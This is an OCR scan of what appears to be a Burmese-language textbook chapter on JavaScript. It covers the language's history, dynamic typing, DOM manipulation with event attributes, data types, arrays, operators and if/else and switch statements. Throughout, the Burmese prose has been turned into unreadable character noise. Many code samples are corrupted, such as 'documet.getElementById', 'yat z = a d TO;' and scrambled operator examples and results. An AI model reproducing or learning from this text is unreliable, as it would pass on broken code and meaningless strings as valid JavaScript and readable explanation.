c C Ç O 9 ex ° IN > Q CN : : 
LLA 94992 00260§03:0309630200IlI sa8orge0:(8¢ Web Browser cóoo 3209000002 Client-side 
Script Language o» [s90lo»oóu 3leoeoS JavaScript o? Desktop Widgets eoo! Mobile App cop 
G8 09:8cop3: aoo»: fo R oleo: 0201 3296$00906:906009 Server-Side Script səə[eëol səob3:ajcoo[oo[ó 
c IN 
[ešoloooŠi 


IN ° x e e e M : ° e ero. ° 
sep Java Boreoloxq olo$escoeo? come y Java š JavaScript on 3003 06[96:0 4010931 
Language 9999200020008 3905:4]§05005602002(030lo0%1 Java esp JavaScript mol C/C++ coo): 
60303 $94005000:03320205 004], csepeo9 Java š JavaScript Ra, eq:09:00 306022600003000§} 
oloooów Language 209220309 QÊ JavaScript oo Java 30360026 Scheme, Lisp, Self s200) 

s000 e e : ` e [e] ç e 
Language c09409$:0005050200!i JavaScript ¢,gco0coeseep502 Mocha ceesTolooo*i G$2056002 
LiveScript co c[ooC:Əoloooši 6800989:329$ 0000009 e(oo(£960»29 JavaScript 07000 (89550: 
ovvol 


JavaScript 020900680) PLEN 94090 Java Programming Language oo aq 5:69 0§:00:654]§ (esol 
ono Netscape oo RRA, Language 90608 Promote 0958300205 poo SDs: e$ Java à səəpŠ 
0? 3299:q| (8: JavaScript coeə[ə[eé: (Gd020508 ooóáj.ooso[o2oloooSi Java 3803 sao: fR 
so soos 3209432648 Netscape Navigator Browser go Java o? Build-in 0093036: 60:8006020098 
MUA: Vofo losn VAE: Java § JavaScript oo» Man à Mango 08d səep5soCoo 
Om|: maso. ooossoe[ec:esoo: soy səa|o5o[eóoloooŠši 


JavaScript oo»6coleolo3coo(8:e[02266 qo aa cqi632 [8$ 09: 0203 00003320205 Microsoft NA: ogg 
eo @[03[Go303 Internet Explorer 3 eo JavaScript 09 00p2226:60:coo30looo3i o@@ 949 Sodoma 
JavaScript o? Industrial Standard 39[5$220590560:9 ECMA International o?o»6[o30lo»oóu 3] 
e(o226 @g20586:99 ECMA Script soo>səeo5šà Industrial Standard ooëə fsal 


Professional Web Developer - səəŠ: (ç) JavaScript ee 





oc : ° > X c CN . c c Ss 
3200€:90 JavaScript aqom Web Browser 05906 3205009002 Script Language 25059505950 CE 
GOGOI Jooo (003496400506: ogojo} Ajax $p9:ogooe[o226 3260056c0:326q:0lo) Language 
0269 (89coo80loooàw Ajax s9000399$6002 JavaScript effo, $53:9$90»$q]:o0[s90loooow Ajax 
efo: ze: (a) Ajax with jQuery eosooScooSoeeS[oeooliu $503:09ooe[o20G Web sor 
Document 6024|0980030522092209 6090960220 329»:3| App Platform 026930(96 88(o6(o6 espo5q 
coo3(sé:(s$60205c9 Rolon s]a»[06! ego058é:99 NodeJS «$ Server-side JavaScript $95:0909 
opo$eole»o(8:i HTML, ¿3207 App Development 320209093200230o[8$ CoÓ6s006 Pedli: g: gə 
000 JavaScript API qp:so(sà oloCcoo[gC:šsəoo JavaScript Qàsəəš:ooqpooocoo5: 6805008 Software 
` ° ç ç Oo co sIR e ç 
Development 4, 28m3:0pm3 [900 espo$8coo3(S(s$oloo»o3u 


Sc9o9:oo03e(056:c3 coogecg [0256 0268690390! C/C++, Java, CH, Objective-C, PHP, Ruby, 
Python ofeg o00309809:092002 səco: (9|og]6:oq]6o? Programmer (S$esoleo! JavaScript 026002 

oc c O OQ IN IN IN IN : : oc e 
3209€:32000 000900 Da es: qo»oSolo»ou sle(o20€cog5: JavaScript oo» Programming 0)¢: ooo? 
Bao coo0:3əqp:so: Programming Language 0009 (399$:629 (sémola 


4.1 - Nature of JavaScript 

JavaScript ooo Multi-Paradigm Language 0269[8dclos051 Programming Language 60303 

Imperative Language, Object-oriented Language, Function Language eoə[8Çç Paradigm səc9o5 
° ` oc IN : ` e ° ° oN OC(^C x e IN 

32d]:3200: a(82:$60lo»o3i JavaScript à co:[eo:a|ošoocooo $6$36«:22»:$6(86:0(890lo»o5v 


JavaScript o? NAQ: gE: Line-by-Line 3209009002 Imperative $68 6q:000:860lo005 Imperative 
Programming oo Code 0862036: pg [ooo:a|o5 (Instruction) coo[e°[Š: Program o? 035 [022:qj09329 
səço: (Instruction Set) 029932688 Əà,op5:oooSesoooo[e c: [sóoloooŠi JavaScript go C Programming 

> e ` ° ° ° e o IN °. 
Language 48060902 6q:000:06q;00: (Syntax) coo olor Java, Cit, PHP o»o»ocop3: JavaScript 
08d C à Ge: 09:s06 c9 Language 029909 Caa: C2090200 60900003308] səqp:[o2: 
3260000932069 6995 [ešoloooŠi 


JavaScript o9 Object-oriented 66§cop5:eq2000:8E0lo205i op:(so:qjo$00600? Object-oriented 
Language co2eo bga: [es Object orp5es00058300205 Class coga ð: JavaScript goscoo 353 
Q X : o o co € IN IN one c IN o ° o» 
co Class cooeoló Object co May o»p5esooo?o0pqecoqQIsC: [ešoloooši Class o> səc|sšo> 
Object-oriented Language 0205 Classical OOP seal (8: JavaScript 026002 Prototype OOP caes 
oloooów JavaScript Object coges qoo 3995:[G}q03 JSON (JavaScript Object Notation) 
32e(0206:02 3995: (9) jQuery 9» co[oco:oleVón 


godsajos "I Soocg:oso:esa|šeocooo JavaScript e) 8005 Update Version cos0qeoo ECMAScript 6 (ES6) yo 
Class @9303:00060loéco20loz05 ale[oé JavaScript şap: Classical OOP Language cog Class o? 
aef (ojo? OOP c9:09:4 Doréeqza00:8E007/8 [eëcloooSii 
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JavaScript go Functional Programming Language co2ço qecogo asean geog ps: oloĉol 
ooosi Nameless Function coga: o: Closure š Callback coÓesoocajo5coo 9§Solosc5u (8: 
coo? Function cogo» First Class Citizen eoo (sóc? CPI aeo»: [p|$6oloo obi goeo - Function 
029909 esl 07033291 salen: Function 029909 Parameter so (so cops036:60:080586clos051 Function 
c ° . c ` ç c oc ç : c ç e e 

02090? Variable 02090090 OYE: 60:000:&60looo5i Function 02093209€:90 68009000 Inner 
Function cop Nested Function 6056q:200:&60lo»oóu $398§:90602) cesó 03/023206:60209 30800 
ooo:eo?[oq]6 co Nameless Function sec: 3995: (9) espace 0030003 603(Ge0:0lec5 


JavaScript ooo Script Language 0264}):(d0loo05u C/C++, Java, C# coco Language cooo 
Compiled Language coes[oloooŠ!I Compiled Language cozg ceq:200:000:0? Program coo 
oəšq||ooooo g0:009503 Machine Code (596326 e[Gré:03a00g8 Compile coóco:goloooSi Compile 
as [e:q 9303000 co03609 3299:(9|qooooli PHP, Ruby, Python à JavaScript 02006009 
Script Language coo[eóoloooŠi Script Language cogeo 6$:200:000:02 Program o? [3,006 
Compile cpdaqne0dd eqzcos:03a0036: 0209409 səo3:aJ&Co> Language eop(890lo»o5u 


Compiled Language esp Script Language 602900] 3201920809320: $09: 0202038 9[020lo» o5 
Compiled Language eog% Pre-Compile c99000:02320909 Performance Geon: [olon 00], 
3990: 60209 Compile asg 0$6s0:e03[0 86 c9 8{6:30@7: $95:000508 colon Scripting 
Language cozmeon Program o? Run do sə8|$oq|eoooeə Interpreter col manos 0$000q||: 
200):(0/(8: oəšq||oooso:coo5o Machine Code eLo Performance 06:90 Compiled 
Language coəccooo 2600063019931 sleoeoS Script Language 60202 Productive 9(890lo»oóu 
Productive [ešoooŠ 80% Code @q:090:4020 96468: 3209002 60020?«9 0900o0li 


PHP 2800705 JavaScript à Program eo96q:033es| ayeo Workflow oo aecpáQ:q6:0loooóu 

02920090 Code Editor o?9€! mom Browser o?9€00o:(8: Code $59:509:eq:c909 qco$09 026 

ooo Browser eo (02p9c903! c90292:$602332020? eq:6$25$| Code c96:026:8,4c0309 0209809 $:0l: 

GO26$c9 score: səcoOooColoooSI Compile Language 6029260»? $322:22oqj0 eeécolos:1 
c c 


0»9996q:(8:026:1 qco$0906:200$ 60. Compile 299209099001 


coms} Run 680? JavaScript Program 029909 Browser 20300103 JavaScript Console mes! Run es 
025: Run @§36906 Code cog RET ea 6oloo» chi Program oo (06508 (6999 05c9090332096: 
e(o»6:(8: 3209005060:290:90 dolos Compiled Language 03900095: Program səcoOcoOogo:Ó 
32625:905026c9 coo$ 60) Debug as esoo Seog losn 3leoeoS coo$Q Run ¢§03 Program o? 
NAAN soc @soosocoooe[eó8Colog: t Kiops @9203006(036 Compile (9409698000 


ç O 


(62505 (adscrita also 
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JavaScript ooo Dynamic Type Language ooóQ||l:coo5:[eëoloooši Type Checking o? Compile Time 
qo 20956 Runtime 9o 09603 Language 324][:3200: C959 c9000|i Type 8.020 səc[eŠsoəo: sç 
Boolean, Number, String 390903 Data Type eog Object Hierarchy Refl OR|$ e0203 
Developer eog% Data Type o? 0205096808 ec90 Language oo $660:950:o[890205 deco! 
cocos goeo - 


var x = 123; 


o oc C . ` Q e IN ç ç O 
- delicias Variable x e, Data Type oo 3ac932ecgppo? Number (89599: 00] BJEN MM 
Integer edef: Language o? o9:(go:e(oo[960:es Gec9olon: v 300300968 qo9o - 


x = "Hello, World, 


° So oc C : > Q . c o o IN 
- Q o006eq:20o:c9oosC Variable x à Data Type op String so (s Language maacgase(Goé: 60030: 
gooli Dynamic Type 99922002 JavaScript e, Script Language səo:o5oa|o5c[o2oç qcooo>səcoóo2oc 
° c e e IN IN e ce o o oc oco» o ^ o 
G090? coócolé: (Sp9903e0:olo»o$u ogj$coo?o9oo Data Type o9? 02050? Č efo poneo 32600 
32090090906:02200 883004 $0586292:600) 30:09 cojo 


4.2 - Purpose of JavaScript 
Client-side JavaScript o? ENNM: A] 300): qy$c olo»oóu! DOM Manipulation, Ajax š 
HTMLS API 030(gd0lo05 $329$:90 DOM Manipulation o? 328006c9000990:9o0li 


DOM oN Document Object Model $3202eo0o03(s$0lo»o5 t DOM o» HTML Document DP 
o> Element eog0? JavaScript àc922025c9868663206 [ga5go5ev:000:03 API ooóə[eëoloooŠi Só 
ooo5sooool poe Document odgoe$eo:0 Element eogcoScops[aé:1 Qeso> Element coz[s¡ 0705 
< e eme co o e o cec Q CN 
(S8: Element Content eoo [oC soc[ə 6: dij, Element coooo cogo eqp03000: 909 (86:1 cSsado3aael 
IN ` onc IN c e > c c c ° : > coc(c 
epodo} Element ALIAS cod [oco(sc:1 oda eanta neg JavaScript š lgsg: 
Bêclovosı 
Event c9eslo? coÓesooCa|jo5šo>eoocoo5o2səsləocooo JavaScript oo DOM Manipulation o? 
° N e ç Ce, c e QS NCS IN : Oc OC * 
3905;(G1994 22§[ax2:q]05e0T gos: co9esoo6 co:&6 eoo [s90lo»oóu goeo - Click &6c9090335el 
Menu co[cooee o3c99esooóqio?i Select Box meş 05$0:00990268:c90302328| coo59leeo[Ocoo:o 
323[0332c00360209 e[996:c5693(960:222:0? coócesoocajooQ|:coo[eeoloooSi 
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4.3 - DOM Basic 
JavaScript o2 220): (0/(8: DOM Manipulation (90908 


68320505 23 (2) qa P:S0:Gcocoo qol 
c2o[eó olosi ó (5-0) Fenol 


eo3i 333160200602 Event, Function à DOM Selector 


[ Event Attribute ] 
onClick, onMouseEnter, 
onKeyPress, onChange, 


onFocus, etc... 


«button onClick="changeColor()">Button</button> 


Javascript Code |] 
Function call or) 
Multiple Inline Statements 


2.g., X=123;y=987;alert(x+y 


Meaning: Button o2 Click asoj changeColor() Function o? Evaluate o9dolu 


à (5-02) HTML Event Attribute 
© (5-0) 494090 «button» Element 320905 onClick Attribute 900390360:000:0lo»03I Attribute 
Value səesšà Element o2 Click coóc9o9q6 sasas: cogo) JavaScript Code 6090009296: 


GO: qo»»(s$olo»o5u 


onClick so [oc so (go: Event Attribute eog §oleao:00051 onDblClick,  onMouseOver, 





onMouseOut, onMouseMove, onKeyPress, onKeyDown, onKeyUp 902 Attribute 60303 
Asma 0903¢053009:(0 &ColoooSi onLoad š onUnLoad Attribute geoəo2eooo <body> Element 
š 30m [o &ColoooSi onFocus, onBlur, onChange, onSelect, onSubmit 003 
Attribute 602036022 Form Element qp:303005 3995:(6,8éolos051 
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Event Attributes qp:səoooo Value səesšà JavaScript Code 6003000390360: 0109051 co03602 9o 
JavaScript Code eoo3eqp:(o3:09 Attribute Value 396$300$:96q:6053200:322566q:000:0? Function 


60303 eal c90300205 6930002508 88:9 E:006:60¢90(9 60100051 


Function 0 0c$:0P009(0: 0908005 eani go qeg: saep50069e0:(8: qop: 


6q:000:000:[86: [soloo 9 (ç-ə) goecocoo[e2p9oli 


Function Name 


function changeColor() ( 
var obj = document.getElementById("note"); 


obj.style.color = "red"; 


[ Style Property ] 


yround, border 


Q (g-e) JavaScript Function and ID Selector 
Function 020909 3260960:02099090320909 function 38.03 Keyword o): olor ón 996800900 
¿Ë ` ey ae < iN oc oc < ` < < q < < ° 
co: Mans 905056:329632009c903qolo»ou Function goolocasVicyó csmca meo con 
o Ç x ç 


o2$ooC:sə eÇ 320050990 gops: ego: eo: qeo(s90lo» ou 

Function 3909503 ©20}:3(03:39600:6031 03§:000n§:6028 Underscore ( _ ) o2espoó(8: aóoso5ooco 
cosols mgogo ongen oonS Space cozeoleslor:n % + - / 003 Special 
Character cogeoleoloz: I šoloSeooolcogoloooŠi slsoeoŠ &olo$àeoqolop:u JavaScript Keyword 
6024 səəpŠ opesaréco:c} eqoloz:1 
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ga III JavaScript Keyword 009 6:03 copgazó: eoS(pc9oSoloooóu 

abstract, boolean, break, byte, case, catch, char, class, const, continue, debugger, default, delete, do, double, 
else, enum, export, extends, false, final, finally, float, for, function, goto, if, implements, import, in, 
instanceof, int, interface, long, native, new, null, package, private, protected, public, return, short, static, 
super, switch, synchronized, this, throw, throws, transient, true, try, typeof, var, volatile, void, while, with 


. M . iN c e 5 e c c 

9 (g-9) 9o $9$060:000:0) changeColor() Function eo cpÓesooóqjoó3sesà &9e(0256:0lo60l 

0051 Code orde(aroé:9}:036: Semi-colon ( ; ) à səsb:o5o5eo:goloooSi woseo, g2 Semi-colon 
co MAC ç : ç ç c c oc | € 

cop2@eoƏe)ecooS: JavaScript o» səsoCc[ocsooé som9ór dro: ¿colors 


var obj 8030003g03qj0509 obj c9 eq) Variable oo$9e(o»[cocpos(s6:(890lo»o5v C, Java o 
o? Static Type Language cozycon int i, float pi, String str ofeg Variable e, Data 
Type Bol odolo: ox5obəoc5e[oo[coco:geo[eëoloooŠi JavaScript meow Dynamic Type (950 
Data Type 220590360: @əcoó var Keyword o? 322: [o e[oo[coa[ec:[ešcloooSi 








document .getElementByld $00 ID Selector [ešoloooSii CSS 2000 JavaScript ga: 86 








coo Element 603203 2096 Select 07660: qolooo3i document .getElementByld 6800900 905 
gô: 3096320030590 Element Id o? co99996:60:qolo»oóu 8950906002 "note" c90099996:60:000: 
ol o»oói səƏglo5oo id="note" c9220390$000:0? Element o? JavaScipt DOM API o»(9: Select 


iN o cc c € 
asa cooo[ec:[eeoloooSi 
var obj = documet.getElementById ("note"); 
səcoo5ol Code š səƏglo5sə [Oo9səboocooo id="note" 089905905000:03 Element o? Select asop 


(8: obj Variable cooo copda2c:c0: alas: [ešoloooŠi 0003909qJo33a€ obj Variable o5oo 
a ç c x` co ` c ç 
id-"note" 2059030000) Element Gspo5Q6s 920 [ešoloooŠi 





eo5a|o5 II I document .getElementByld eq: o532el 0209:690:68 PNN: eo: 000: [o2:esqooocš:[o2: 9$ 
ç ç E ays ç o . ° `O 
G3 cgq:co:ejoloooŠI JavaScript ooo Case Sensitive (550% 9009:39 [68:32 62»: cb c9eqolop:u 


GIVNA: obj.style.color-"red" cQ o20590$00o:0looo» $ (g-9) y qo3qjo$oop9 
€ M oc ç ç O "(9 CN o 
996:60:000:02390?€: color e$ 09|$eo2302ec9coo3[$:(690? CSS Property 3aqp:q 3200:00: 
° oc ç M ç e Cos e e oc 
20 (ogcoloSn 32000:0390 "red" Gšçoeocoo5: 25029050902 CSS Value cog 250590960:$C ol 

€ 
onu II 
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ga II I background-color c CSS Property 602096002 backgroundColor c9os:co:qeo[séolo»o5i 
Dash ( - ) o» JavaScript à Minus Operator TEN copsod:cheqolop: i Dash oso: e800992c9:00009:02 
9005:(09:8960:c909050lóu poe - obj.style.backgroundColor = "yellow" 8905: CSS Property 


ARA (03 5:6 oc 5 S 
32qp:oop 99390): 9|&CO ODO II 


changeColor () Function 32c96090932([00932$ 006009 id="note" 08 9905905000:03 Element à 

° ç o ° e ç Q < C x e ç : ° ° e e e e 
9009: epN sa§eqpee(Goé:c8035[96:d{gdolos05u Function ¿om sae[9d300:(6¢ 2205909qJo? 

e ç e jl ° ç e M : o ° o T. M )] e e e ;| 
99050005 [eóoloooŠi 250390$000:0? Function o? səo3:[o|@es[o2oysəsləoso 32059059292: 9900 
Si Q (g-0) $99 6 (g-9) sq40020? BoA «button» o? Click aeoe 
changeColor() Function o? cə[oosəo5:[9|o2o:eo[eéoloooSi slefaxg id="note" c 0003902 
00:02 Element ooo gm orcd:saeqné oo9Q|:(S$e$c0e0? «button» o? &ócpo$023»elgo 0005: 


saeqpe oo seco e(9o6:29:900] II 


Saos ev sam Za Ue S.A EN ç ç, ç, ç Qu eS eu e. S 
go] MN" IH AREIA 952: COTS 90) ¿00[0070:3069:0 ongefo: ooo: MAVOMO: GS]: 6C copo: 8030 
Q 


3209020 (89991 - document.getElementById("note").style.color = "red" c3 eggo oD 0S 11 


S x ° -l x ç re S IN ç EN eos S 
° ° a ° 
Select aò 000:0? Element eoo c Variable Dof: Cache coóoooooo eNe: 0209 6603320502 


$9429» 88:69; (Goon: oy (sdclos05u 


3g 05:8, Event, Function, DOM ID Selector NR o300300):(0/(8: Document 0O) Element 


00:0€ X 


60303 o8aado0 Cpoesc eoo[eóoloooŠi 


IN ere . : y ° co o c IN IN e c 
non: JavaScript Programming Language 4, səc[sšcooó8|,opeeo[oa|eoloooŠi 30239090 
Programming Basic o? 3262:00) 29092: qe: [bSCooeoococoloq:i 9090323002 Programming 
səc[sŠšcoo[eŠo> Variable, Array, Operator, Conditional Statement, Loop 329902 29692020P: e0} 
o oore c e Oo : : > C oc + oc ° 
o? LAE: fedos 0580000: 92011 JavaScript Programing Language ¿00029009 320€:60900000 
32800 605(Ge0:030:90{860lo205i 


4.4 - Data Type and Array 

JavaScript go səc[eŠ Data Type (2) 9 Go onu boolean, number š string o? [ešoloooŠi 

null š undefined 02006009 9905 Data Type cbəoeeolo> Special Value coo[eóoloooŠi boolean 
> oro co e e e 

Data Type eo true § false so: 0m$8:3090locolox 1 


o»$[so: Language cozo int, float, double, long oo{g¢ Number Data Type aeq|:d]: 
$6060? JavaScript 20204} :dGolos05 1 mos»: Language cozm double 3090) 64-bit Floating 
Point Number 00q|:090 POA: 02$ 0:320:09:3209093299:(9|o»ooli NaN o» Number Data Type 
` e jl enc jl IN ` ° erc ;| € 
0699 0299 320 səoc[sóo ooo Not a Number e), 220960000800 ODO05II 
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string Data Type 926022 cos Q:ao(s9 Single Quote ( ' ) 300705 Double Quote ( " ) 3096320058 
GEED: 009: 02 eocopoloColoooŠ!I sac eoc[|ozoC:coóc[o32oC: eo olodoj000): 396907050 
length Property 200) :(0| qopécolo Sn 


var greet = "Hello, World!"; 
var len = greet.length; # => 12 


° x ° [e] e ç e e e ` ce Oo 
Qo? Data Type eogo? 000: eaz 0093036: eA Go come. Dynamic Type (oco 
Language mò Data Type 60303 $6co:o5o:eo(s90lo»oóu 


o3si05 n u JavaScript Code ode eoSajoS Comment ceo? co55256:0390208 // Operator o9 o5:S6olo»oSu 

9 al p 1 J al [e] 2203 b [e] p L o? E 

J =a c ` ç ç ° ç ç e e c e On 

avaScript oo // GIGI 6$:020:000:02 a le a 000393€:3209009092609020 Ont [0 co CSS 9oc9ó 
S c e o e c c c e ;l ç ç C IN 

/* & */ 09010990 Eo Nn :000:02 eo5a|o5coooocoo: 000393€:32000090906090500:ll pamela: 

oops: egRo» Vaqe // o? 329%: (8 c(8: o»óe[o206:0005 0590) Q03q0960502600? Le š */ |o» DPEN] 2D 


IN ;l IN 
29601090511 


JavaScript go Variable co203 var Keyword 3905:(6)(8: [03,006¢[03[G[8:¢3005:[6) 8600081 c5:o 
ae{ar[Godcop5: drag ajoo[ec:soo5:[o|&ColoooSi sleoeo$ var Keyword soəo5:[o ð: [o 
@[03[Go020020 odg], oR: Spe ae o E 3905;(0] 


folos 0269000380302§8:60203 saoZosaso8S:a0p5:08q6 Array o? zo): [o ¿colonos1 Array 
e[n oon ¿ol - 


var months = []; 

months[0] = "Jan"; 

months[1] = "Feb"; 

months[2] = "Mar"; 

° e 

(9960505) 

Var months = "Jan", "Heb", "Mas". 1% 


S_o e e ° e e ey e ere e Ç OQ x co ° 
saq: Array 32090202090? eco:eal$ o96:30c909à @[03[Gr0005e03{8:@ OPH: 0240:6090? 
ec oc ° ç Ç ° Ç e e oc e e e e e 
wmc Index $0lo50332c909220990960:&60lo»oóu 68202020$095:026002 oooée[(oX(co 
c. cog, ç Q C X oc ç Oo x so, ° yO. ç U. O co e ç 
020099:00 esléozc: BIQESIOOICHGD 056:9009:0902008$0:60209 3209090260: CYAICY.CDDD:4 0109051 
° c <“ 0 o o e š : oc e ° ec S 0 e 
§0lo50508 32090902060: 930:01e88005 Array cozum Index §0lo50508 Zero (0) o» esoooc 
e ` co C o ooo C 


eqogo$0loooà« Array 0039 o36::009:000:0) 02§8: sega VAVA: length 
Property BO 32200: [o ¿colas 
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var months = Tan ES Ma Apr MM 
var len = months.length; + => 5 


Saos Static T Lansuas Arr ç (IE | 298: CoU ox + ue. e SD 
903/01 II tatic Lype Language cogeo Array 0099 220090502328| Deco: ona 250:S0p5:605 Data 


q rj 
Type 203 co S c:e[on[coco: dlos JavaScri t eon co S ê: c[oo[çoo eado: ° NÓ 

ype qpxoy PIB: FS) f pts š p399c* sp t pill 030203 
80008 aodeoSoopbogé:ayo:8Edlon051 


e 
CoO 
L 1 


4.5 - Operators 
eolé: (+), 05 (-), e(g203 (+), eo: (/) Operator co ogo5aJo59cooesooCgo5@ za): ¿colon 
Modulus (%) Operator 026002 3o (026: qp82oo»:(gj&6olooo5u 


var x = y + z; 

var r = 123; 

yar a = 34 £ p 2 r; 

var x = (a * a) / (b + c) - 3; 

var i = 5 $ 3; # => 2 


E A 


+ Operator o? nan$:sozcole:8320):(0/000$ o0@[0306:e0380038c005: səo5:[o|&ColoooŠi 


var name = "John Doe"; 
var greet = "Hello " + name; # => Hello John Doe 
var price = "S" + 3 + 4; de c SSA 


$ = 


Equal ( = ) Operator o? 0$8:602 Assign 09680520 nn efs: [vs 2900005020288 
° 


> IN IN ° x : s Q <ç IN ç eme c IN _ 2 IN co 
Operator à, mado Variable c3020095256:2209909(86: (890lo»o3i += 09600? c205$02$0: 
0599 640020000040:602 00960l6:0002025:0lo» oi -= 026002 c005§}02§8: cdareg co:coo:o> 0080: 


o? ¿manero Sacoo:090 *=, /=, %= RANA: fosos 


var greet = "Hello "; 
greet += "Jame Doe"; # => Hello Jame Doe 
var x = 8; 


IS => 5 
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o o ° 


++ Operator o? coo$$10248:90 (o)o?:G səob:[o|&ColoooSi -- Operator 026002 aA 


02§8:06$ (o) 


¿000058 ob:8ColoooŠši 


var x = 5; 


x++; s c © 

++x; i mmy 

x--; EMO 

s # => 5 
==, ===, !=, <, >, <=, >= 00) Operator eo90? 02§8:60286:0958 so>:[o|&ColoooŠi 
86:052 309 1 008: true Semo false à [o$co Sag {d0los05n (go: Na 
$C:09pg QNIN boolean o»$Q 2290? LEPE? Saa] 7 
à == Operator o» Equal To «9023»89lo$(s$(8: === Operator meon Identical Bo3aa8gloSolu 
0088: c " e e QU oc, Sol e (as [66 -— O t co. ON 0 C 

$9:509 "Ag W" Q oln esa: (ee perator oo 02§G:090020)0 000 
eo:oloooSi === Operator meon 02§8:a00000 Data Type 02605020] $o9co:[s6:(890lo»o5u 

° L 

var x = 5; 

var y = 3; 

var a= x == y; ro Fase 

var b = x != y; # => true 

var c= x > 5; + => false 

var fol = ds >= 5p # => true 

var i = 5 == "5" # => true 

var j = 5 === "5" jose 


&& Operator meon AND 38.03 səƏglo5[eóoloooŠi 22[0m6:q/S:=00: [96 AND Operator oo 86:058. 

ceo ° c IN o e c < oc e ceo ` c c 
058: 320:09: true [599qco$ true o? (946o:o»(890looo5u 86:09500§8:c0205¢g0 0069 false [6d 
omg Q false ò [gdgoolu H Operator meo OR ado3aa8gloSuli OR Operator meo 
oc IN eo > c e c >b e o ç oc IN co 2 
$C:099004 B:603050 0269600005 true [sonà qué true o? (G§eo:qovl 86:09502§G:390: 05: 
false (9063 gm quin false [eŠeo[eëcloooSi Exclamation (!) meo NOT «20? 3081056 (es 
oloooŠi eco boolean quan egos: (050948 z20): [o Rolou 


var x = 5; 
var y = 3; 


var a = x == y && x == 5; i => false 
var b= x == y || x == 5; # => true 
var c = !(x == y || x == 5); => Psl 


o Q IN T ;| IN ` e c IN c Ce ç IN çO 9 
&& o? Guard Operator Op: GS OlODOOII R} 329$020020532090090902l 9202220200024 Q:0? 3a 
e «c IN IN e x° co oc ç IN IN IN co o € 
qc solos! false [sdegqé 398 00§8:59036:(0§e0:0los05 1 920222020002$Q:00 true Spec! 
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«Oo 


ç ço O7 C N ç o CET SGo: C] ç _ 
PVN 0080:02 (0966860220) 0$0:32096:(0460:0 WI var len = months.length; CO 
2005905080546! 3200036] months Array o» null fedes] eQ0200$8:02q058[09|:90:20c9 [a 

o cere € IN ;| e o ` ° ° ° ° 
eso Error (s9(: Program cogó:e|6292:9oo!i! 3609) && o? Guard 326$$3203:q(8: 3290966$:950:& 
olo»oSu 


On On 


var len = months && months.length; 


&& OD cgooš Q: [eso months o? 06(0303080508 null (S965 qé boolean false (8903320205 35$ 
Ox (nC Qc ç o ` co ç ç Qo. ce 

null 0 (0460: 4090/9504 len $) 024 Q:00copo: null (8955:9o0li months.length op co0[6: 

ç Q c. ç 5] ç CX coo 

ODOC CONNY Error Copo: SONMANCONO Opell 3200096] months oo null 007020 OP§ F: E$ CO 

8005 0269{8603 months.length (G§eo:92[9608 len š, oo$Q:ao(s9 months Array 4, length à 
Bane Recs ds ctas Q Basten 

DECOIMN OIG OOP a 220 (S90 ODO II Sa: oR && o Guard Operator apse ODDOlII 


° o IN e ` e IN IN c Ce Os IN IN 
|| 0? Default Operator Amare olor RA, SAQSODGMNTAAVOAPOOM && APO 0005000000 
co ° C S IN IN IN c co o c c X IN IN 
00390: OP PACo boolean true [sdegq6 Q229205000040:0? 00060060020 2505900505 
ceo, Q ç " jl IN IN c co, c IN co o0 c X 
00$ Q:0? (0$60:0 mn 0003200200 $: false (896560229 Q22900300 02§G:0) (0066860220) 
(o$e0:0lo»o5u 


yat z = a d TO; 


a ¿ola ao: Pier x à ofgi a rito 
eo [asclon3n saos} x oo false (Sega 8 əxooooooopS8:cB[oSco:oo[88c8 x àooS8:cooS: 10 


e ° e o c O_o ç o Ç O_o Ç O x e ç 
(89550: goo səƏoloSoo a fas a Roi edq co 10 RvS Ronem (96039: coclor al 
e(o226 Il o? Default Operator esl (ac: [sëéoloooši 


320001050 ! gocoo5:co:[go:a|o5qoloooSi &$9036q:002:0? !! Operator 0302§8:602 boolean efas: 
8 a): àColoooŠi 


var a = !!undefined; je SS 
var x = !!"Hello"; # => true 
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4.6 - Control Structures 


Conditional Statements 
JavaScript oo səc[esocs (Condition) aol go gcopŠ sacndandqe0d 996006 qj096022003902 8 
320905 if Statement o? s3əo5:[ololoooSi eqz9922903 Q (5-0) eo efo 


[ Condition ] 


if ( today == "sunday" ) í 


this when the end-result 
of the condition is true 
y else { 
lo this when th nd-result 
f th idition is fals 
; 
false, null, 0, "", undefined and NaN are boolean false. Everything 


else are boolean true including "abc", 123, true and -1. 


0 (g-0) JavaScript if Statement 


] > c IN e,o C x oe CO x DD ° € 

if Keyword $6005 09€:009€:0050090 90900909 Condition eo: olor ón &Q4osaq today 

Variable  00§$:029 sunday [gd3eda8qé epom óg 6q:000:000:0) 09$096:329632000 

Block Ò Statement 60203 za9ó090c0: gfe: today Variable 00$8:00 sunday eooo5og: 

o Cc IN e > ç e e o € ` ° c c 

ACCON else 6400290 $006$1:000:0? 09$096:32963200» Block com Statement copo? 32090006 
CS 


602030299 fodoli else Block o» ecsaadeé agar: goloooŠi 


if aolo mos»: Control Syntax opra) coÓesoocajo5oo 029c(0226:0099: (one statement) qê 


029026:602 cop2@ecooloq:II 02$026:60900 aessa 0289003002325] eoo: @səo5:[O|oooolii 
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if( today == "sunday" ) { 
say “Super sunday! a, 
} 
Q ç 
(9960905) 
if( today == "sunday" ) say( "Super Sunday!" ); 
Q ç 
(9960905) 
if( today == "sunday") 


say( "Super Sunday!"); 


eoS(pooo:02 $94095:9000 eq:20o:903(0o:60e09 «05302300059 [soul ocoes?: $9409» ORS 
096:60500996060? 64009$94060990e009960020log: ! 6006 g036e0q|6020996s006 gama: 
0295:8 [eŠóoloooŠi eg:qjo3espeog &$900039cooo?sesl eq:2oo:ecoQo? if - else if - else 


693605: @§9 03 0 (ç-o5) eoseo[ocoo:oloooŠi 





if( today == "sunday" ) { 
say("Yay, super Sunday!"); 
} else { 
if( today == "saturday" ) í 
say("Happy Caturday!"); 
vue ) else ( 


Statement 
say("Boring weekdays :("); 


if( today == "sunday" ) { 
say("Yay, super Sunday!"); 
y else if( today == "saturday" ) { 
say("Happy Caturday!"); 
for ) else ( 
) say ("Boring weekdays :("); 


6 (ç) JavaScript If - Else If - Else Syntax 
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Switch Statement 
` e M 


Switch Statement 026002 e0:000:030$8:4 0509023006:020 eg:[8:32009009660:09 Control Syntax 
o 


[ešoloooŠi 9 (5-2) Q9060:000:0? $9400? Switch Statement à e(9»6:eq:(o2990leo5u 


switch( today ) Í 
case "monday": 
case "tuesday": 
case "wednesday": 
case "thursday": 


say("Boring weekdays"); break; 
case “friday“: 

Say("TGIF!"); break; 
case "saturday": 

say("Happy Caturday!"); break; 
case "sunday": 

say("Yay, super Sunday!"); break; 
default: 


say("Too dizzy! Not sure what day it is. QQ "); 


